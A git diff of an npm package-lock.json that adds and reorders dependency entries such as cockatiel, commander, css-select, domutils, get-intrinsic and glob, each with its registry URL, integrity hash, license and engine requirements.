       "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz",
@@ -1800,6 +2829,16 @@
         "node": ">=12"
       }
     },
+    "node_modules/cockatiel": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/cockatiel/-/cockatiel-3.2.1.tgz",
+      "integrity": "sha512-gfrHV6ZPkquExvMh9IOkKsBzNDk6sDuZ6DdBGUBkvFnTCqCxzpuq48RySgP0AnaqQkw2zynOFj9yly6T1Q2G5Q==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=16"
+      }
+    },
     "node_modules/color-convert": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
@@ -1818,73 +2857,300 @@
       "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
       "license": "MIT"
     },
-    "node_modules/combined-stream": {
-      "version": "1.0.8",
-      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
-      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+    "node_modules/combined-stream": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz",
+      "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==",
+      "license": "MIT",
+      "dependencies": {
+        "delayed-stream": "~1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.8"
+      }
+    },
+    "node_modules/commander": {
+      "version": "12.1.0",
+      "resolved": "https://registry.npmjs.org/commander/-/commander-12.1.0.tgz",
+      "integrity": "sha512-Vw8qHK3bZM9y/P10u3Vib8o/DdkvA2OtPtZvD871QKjy74Wj1WSKFILMPRPSdUSx5RFK1arlJzEtA4PkFgnbuA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      }
+    },
+    "node_modules/css-select": {
+      "version": "5.2.2",
+      "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.2.2.tgz",
+      "integrity": "sha512-TizTzUddG/xYLA3NXodFM0fSbNizXjOKhqiQQwvhlspadZokn1KDy0NZFS0wuEubIYAV5/c1/lAr0TaaFXEXzw==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "boolbase": "^1.0.0",
+        "css-what": "^6.1.0",
+        "domhandler": "^5.0.2",
+        "domutils": "^3.0.1",
+        "nth-check": "^2.0.1"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/css-tree": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz",
+      "integrity": "sha512-X7sjQzceUhu1u7Y/ylrRZFU2FS6LRiFVp6rKLPg23y3x3c3DOKAwuXGDp+PAGjh6CSnCjYeAul8pcT8bAl+lSA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "mdn-data": "2.27.1",
+        "source-map-js": "^1.2.1"
+      },
+      "engines": {
+        "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0"
+      }
+    },
+    "node_modules/css-what": {
+      "version": "6.2.2",
+      "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.2.2.tgz",
+      "integrity": "sha512-u/O3vwbptzhMs3L1fQE82ZSLHQQfto5gyZzwteVIEyeaY5Fc7R4dapF/BvRoSYFeqfBk4m0V1Vafq5Pjv25wvA==",
+      "dev": true,
+      "license": "BSD-2-Clause",
+      "engines": {
+        "node": ">= 6"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/fb55"
+      }
+    },
+    "node_modules/data-urls": {
+      "version": "7.0.0",
+      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz",
+      "integrity": "sha512-23XHcCF+coGYevirZceTVD7NdJOqVn+49IHyxgszm+JIiHLoB2TkmPtsYkNWT1pvRSGkc35L6NHs0yHkN2SumA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "whatwg-mimetype": "^5.0.0",
+        "whatwg-url": "^16.0.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
+    },
+    "node_modules/debug": {
+      "version": "4.4.3",
+      "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
+      "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "ms": "^2.1.3"
+      },
+      "engines": {
+        "node": ">=6.0"
+      },
+      "peerDependenciesMeta": {
+        "supports-color": {
+          "optional": true
+        }
+      }
+    },
+    "node_modules/decimal.js": {
+      "version": "10.6.0",
+      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
+      "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
+      "dev": true,
+      "license": "MIT"
+    },
+    "node_modules/decompress-response": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-6.0.0.tgz",
+      "integrity": "sha512-aW35yZM6Bb/4oJlZncMH2LCoZtJXTRxES17vE3hoRiowU2kWHaJKFkSBDnDR+cm9J+9QhXmREyIfv0pji9ejCQ==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "mimic-response": "^3.1.0"
+      },
+      "engines": {
+        "node": ">=10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/deep-extend": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/deep-extend/-/deep-extend-0.6.0.tgz",
+      "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "engines": {
+        "node": ">=4.0.0"
+      }
+    },
+    "node_modules/default-browser": {
+      "version": "5.5.0",
+      "resolved": "https://registry.npmjs.org/default-browser/-/default-browser-5.5.0.tgz",
+      "integrity": "sha512-H9LMLr5zwIbSxrmvikGuI/5KGhZ8E2zH3stkMgM5LpOWDutGM2JZaj460Udnf1a+946zc7YBgrqEWwbk7zHvGw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "bundle-name": "^4.1.0",
+        "default-browser-id": "^5.0.0"
+      },
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/default-browser-id": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/default-browser-id/-/default-browser-id-5.0.1.tgz",
+      "integrity": "sha512-x1VCxdX4t+8wVfd1so/9w+vQ4vx7lKd2Qp5tDRutErwmR85OgmfX7RlLRMWafRMY7hbEiXIbudNrjOAPa/hL8Q==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/define-lazy-prop": {
+      "version": "3.0.0",
+      "resolved": "https://registry.npmjs.org/define-lazy-prop/-/define-lazy-prop-3.0.0.tgz",
+      "integrity": "sha512-N+MeXYoqr3pOgn8xfyRPREN7gHakLYjhsHhWGT3fWAiL4IkAt0iDw14QiiEm2bE30c5XX5q0FtAA3CK5f9/BUg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=12"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/delayed-stream": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
+      "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
+      "license": "MIT",
+      "engines": {
+        "node": ">=0.4.0"
+      }
+    },
+    "node_modules/detect-libc": {
+      "version": "2.1.2",
+      "resolved": "https://registry.npmjs.org/detect-libc/-/detect-libc-2.1.2.tgz",
+      "integrity": "sha512-Btj2BOOO83o3WyH59e8MgXsxEQVcarkUOpEYrubB0urwnN10yQ364rsiByU11nZlqWYZm05i/of7io4mzihBtQ==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "optional": true,
+      "engines": {
+        "node": ">=8"
+      }
+    },
+    "node_modules/dir-glob": {
+      "version": "3.0.1",
+      "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
+      "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+      "dev": true,
       "license": "MIT",
       "dependencies": {
-        "delayed-stream": "~1.0.0"
+        "path-type": "^4.0.0"
       },
       "engines": {
-        "node": ">= 0.8"
+        "node": ">=8"
       }
     },
-    "node_modules/css-tree": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/css-tree/-/css-tree-3.2.1.tgz",
-      "integrity": "sha512-X7sjQzceUhu1u7Y/ylrRZFU2FS6LRiFVp6rKLPg23y3x3c3DOKAwuXGDp+PAGjh6CSnCjYeAul8pcT8bAl+lSA==",
+    "node_modules/dom-serializer": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-2.0.0.tgz",
+      "integrity": "sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "mdn-data": "2.27.1",
-        "source-map-js": "^1.2.1"
+        "domelementtype": "^2.3.0",
+        "domhandler": "^5.0.2",
+        "entities": "^4.2.0"
       },
+      "funding": {
+        "url": "https://github.com/cheeriojs/dom-serializer?sponsor=1"
+      }
+    },
+    "node_modules/dom-serializer/node_modules/entities": {
+      "version": "4.5.0",
+      "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz",
+      "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==",
+      "dev": true,
+      "license": "BSD-2-Clause",
       "engines": {
-        "node": "^10 || ^12.20.0 || ^14.13.0 || >=15.0.0"
+        "node": ">=0.12"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/entities?sponsor=1"
       }
     },
-    "node_modules/data-urls": {
-      "version": "7.0.0",
-      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz",
-      "integrity": "sha512-23XHcCF+coGYevirZceTVD7NdJOqVn+49IHyxgszm+JIiHLoB2TkmPtsYkNWT1pvRSGkc35L6NHs0yHkN2SumA==",
+    "node_modules/domelementtype": {
+      "version": "2.3.0",
+      "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.3.0.tgz",
+      "integrity": "sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==",
       "dev": true,
-      "license": "MIT",
+      "funding": [
+        {
+          "type": "github",
+          "url": "https://github.com/sponsors/fb55"
+        }
+      ],
+      "license": "BSD-2-Clause"
+    },
+    "node_modules/domhandler": {
+      "version": "5.0.3",
+      "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-5.0.3.tgz",
+      "integrity": "sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==",
+      "dev": true,
+      "license": "BSD-2-Clause",
       "dependencies": {
-        "whatwg-mimetype": "^5.0.0",
-        "whatwg-url": "^16.0.0"
+        "domelementtype": "^2.3.0"
       },
       "engines": {
-        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+        "node": ">= 4"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domhandler?sponsor=1"
       }
     },
-    "node_modules/decimal.js": {
-      "version": "10.6.0",
-      "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz",
-      "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==",
+    "node_modules/domutils": {
+      "version": "3.2.2",
+      "resolved": "https://registry.npmjs.org/domutils/-/domutils-3.2.2.tgz",
+      "integrity": "sha512-6kZKyUajlDuqlHKVX1w7gyslj9MPIXzIFiz/rGu35uC1wMi+kMhQwGhl4lt9unC9Vb9INnY9Z3/ZA3+FhASLaw==",
       "dev": true,
-      "license": "MIT"
-    },
-    "node_modules/delayed-stream": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz",
-      "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=0.4.0"
+      "license": "BSD-2-Clause",
+      "dependencies": {
+        "dom-serializer": "^2.0.0",
+        "domelementtype": "^2.3.0",
+        "domhandler": "^5.0.3"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/domutils?sponsor=1"
       }
     },
-    "node_modules/dir-glob": {
-      "version": "3.0.1",
-      "resolved": "https://registry.npmjs.org/dir-glob/-/dir-glob-3.0.1.tgz",
-      "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==",
+    "node_modules/dunder-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz",
+      "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "path-type": "^4.0.0"
+        "call-bind-apply-helpers": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "gopd": "^1.2.0"
       },
       "engines": {
-        "node": ">=8"
+        "node": ">= 0.4"
       }
     },
     "node_modules/duplexer": {
@@ -1893,12 +3159,64 @@
       "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==",
       "license": "MIT"
     },
+    "node_modules/ecdsa-sig-formatter": {
+      "version": "1.0.11",
+      "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz",
+      "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==",
+      "dev": true,
+      "license": "Apache-2.0",
+      "dependencies": {
+        "safe-buffer": "^5.0.1"
+      }
+    },
+    "node_modules/editions": {
+      "version": "6.22.0",
+      "resolved": "https://registry.npmjs.org/editions/-/editions-6.22.0.tgz",
+      "integrity": "sha512-UgGlf8IW75je7HZjNDpJdCv4cGJWIi6yumFdZ0R7A8/CIhQiWUjyGLCxdHpd8bmyD1gnkfUNK0oeOXqUS2cpfQ==",
+      "dev": true,
+      "license": "Artistic-2.0",
+      "dependencies": {
+        "version-range": "^4.15.0"
+      },
+      "engines": {
+        "ecmascript": ">= es5",
+        "node": ">=4"
+      },
+      "funding": {
+        "url": "https://bevry.me/fund"
+      }
+    },
     "node_modules/emoji-regex": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
       "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==",
       "license": "MIT"
     },
+    "node_modules/encoding-sniffer": {
+      "version": "0.2.1",
+      "resolved": "https://registry.npmjs.org/encoding-sniffer/-/encoding-sniffer-0.2.1.tgz",
+      "integrity": "sha512-5gvq20T6vfpekVtqrYQsSCFZ1wEg5+wW0/QaZMWkFr6BqD3NfKs0rLCx4rrVlSWJeZb5NBJgVLswK/w2MWU+Gw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "iconv-lite": "^0.6.3",
+        "whatwg-encoding": "^3.1.1"
+      },
+      "funding": {
+        "url": "https://github.com/fb55/encoding-sniffer?sponsor=1"
+      }
+    },
+    "node_modules/end-of-stream": {
+      "version": "1.4.5",
+      "resolved": "https://registry.npmjs.org/end-of-stream/-/end-of-stream-1.4.5.tgz",
+      "integrity": "sha512-ooEGc6HP26xXq/N+GCGOT0JKCLDGrq2bQUZrQ7gyrJiZANJ/8YDTxTpQBXGMn+WbIQXNVpyWymm7KYVICQnyOg==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true,
+      "dependencies": {
+        "once": "^1.4.0"
+      }
+    },
     "node_modules/entities": {
       "version": "8.0.0",
       "resolved": "https://registry.npmjs.org/entities/-/entities-8.0.0.tgz",
@@ -1912,6 +3230,39 @@
         "url": "https://github.com/fb55/entities?sponsor=1"
       }
     },
+    "node_modules/environment": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/environment/-/environment-1.1.0.tgz",
+      "integrity": "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">=18"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
+    },
+    "node_modules/es-define-property": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
+      "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/es-errors": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
+      "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/es-module-lexer": {
       "version": "1.7.0",
       "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz",
@@ -1919,6 +3270,19 @@
       "dev": true,
       "license": "MIT"
     },
+    "node_modules/es-object-atoms": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz",
+      "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/esbuild": {
       "version": "0.20.2",
       "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.20.2.tgz",
@@ -2008,6 +3372,17 @@
         "through": "^2.3.8"
       }
     },
+    "node_modules/expand-template": {
+      "version": "2.0.3",
+      "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz",
+      "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==",
+      "dev": true,
+      "license": "(MIT OR WTFPL)",
+      "optional": true,
+      "engines": {
+        "node": ">=6"
+      }
+    },
     "node_modules/expect-type": {
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz",
@@ -2102,6 +3477,14 @@
       "integrity": "sha512-twe20eF1OxVxp/ML/kq2p1uc6KvFK/+vs8WjEbeKmV2He22MKm7YF2ANIt+EOqhJ5L3K/SuuPhk0hWQDjOM23g==",
       "license": "MIT"
     },
+    "node_modules/fs-constants": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/fs-constants/-/fs-constants-1.0.0.tgz",
+      "integrity": "sha512-y6OAwoSIf7FyjMIv94u+b5rdheZEjzR63GTyZJm5qh4Bi+2YgwLCcI/fPFZkL5PSixOt6ZNKm+w+Hfp/Bciwow==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true
+    },
     "node_modules/fs-extra": {
       "version": "10.1.0",
       "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz",
@@ -2132,6 +3515,16 @@
         "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
       }
     },
+    "node_modules/function-bind": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
+      "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
+      "dev": true,
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/get-caller-file": {
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
@@ -2141,12 +3534,77 @@
         "node": "6.* || 8.* || >= 10.*"
       }
     },
+    "node_modules/get-intrinsic": {
+      "version": "1.3.0",
+      "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
+      "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bind-apply-helpers": "^1.0.2",
+        "es-define-property": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
+        "function-bind": "^1.1.2",
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "has-symbols": "^1.1.0",
+        "hasown": "^2.0.2",
+        "math-intrinsics": "^1.1.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/get-own-enumerable-property-symbols": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz",
       "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==",
       "license": "ISC"
     },
+    "node_modules/get-proto": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz",
+      "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.1",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/github-from-package": {
+      "version": "0.0.0",
+      "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz",
+      "integrity": "sha512-SyHy3T1v2NUXn29OsWdxmK6RwHD+vkj3v8en8AOBZ1wBQ/hCAQ5bAQTD02kW4W9tUp/3Qh6J8r9EvntiyCmOOw==",
+      "dev": true,
+      "license": "MIT",
+      "optional": true
+    },
+    "node_modules/glob": {
+      "version": "13.0.6",
+      "resolved": "https://registry.npmjs.org/glob/-/glob-13.0.6.tgz",
+      "integrity": "sha512-Wjlyrolmm8uDpm/ogGyXZXb1Z+Ca2B8NbJwqBVg0axK9GbBeoS7yGV6vjXnYdGm6X53iehEuxxbyiKp8QmN4Vw==",
+      "dev": true,
+      "license": "BlueOak-1.0.0",
+      "dependencies": {
+        "minimatch": "^10.2.2",
+        "minipass": "^7.1.3",
+        "path-scurry": "^2.0.2"
+      },
+      "engines": {
+        "node": "18 || 20 || >=22"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/isaacs"
+      }
+    },
     "node_modules/glob-parent": {
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
@@ -2181,6 +3639,19 @@
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
+    "node_modules/gopd": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/gopd/-/gopd-1.2.0.tgz",
+      "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
     "node_modules/graceful-fs": {
       "version": "4.2.11",
       "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.11.tgz",
@@ -2200,29 +3671,142 @@
       "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==",
       "license": "MIT",
       "engines": {
-        "node": ">=8"
+        "node": ">=8"
+      }
+    },
+    "node_modules/has-symbols": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.1.0.tgz",
+      "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/hasown": {
+      "version": "2.0.4",
+      "resolved": "https://registry.npmjs.org/hasown/-/hasown-2.0.4.tgz",
+      "integrity": "sha512-T2UbfbBEF32wiepXIsMlTW9+dDYC6wMh/t/vYA4tuOMKqWz/n3vr1NFSxQiyP+zk2mXsoMA/i/7qV6LKut1t1A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "function-bind": "^1.1.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/highlight.js": {
+      "version": "11.11.1",
+      "resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-11.11.1.tgz",
+      "integrity": "sha512-Xwwo44whKBVCYoliBQwaPvtd/2tYFkRQtXDWj1nackaV2JPXx3L0+Jvd8/qCJ2p+ML0/XVkJ2q+Mr+UVdpJK5w==",
+      "license": "BSD-3-Clause",
+      "engines": {
+        "node": ">=12.0.0"
+      }
+    },
+    "node_modules/hosted-git-info": {
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-4.1.0.tgz",
+      "integrity": "sha512-kyCuEOWjJqZuDbRHzL8V93NzQhwIB71oFWSyzVo+KPZI+pnQPPxucdkrOZvkLRnrf5URsQM+IJ09Dw29cRALIA==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "lru-cache": "^6.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/hosted-git-info/node_modules/lru-cache": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
+      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
+      "dev": true,
+      "license": "ISC",
+      "dependencies": {
+        "yallist": "^4.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
+    "node_modules/html-encoding-sniffer": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/html-encoding-sniffer/-/html-encoding-sniffer-6.0.0.tgz",
+      "integrity": "sha512-CV9TW3Y3f8/wT0BRFc1/KAVQ3TUHiXmaAb6VW9vtiMFf7SLoMd1PdAc4W3KFOFETBJUb90KatHqlsZMWV+R9Gg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "@exodus/bytes": "^1.6.0"
+      },
+      "engines": {
+        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
+      }
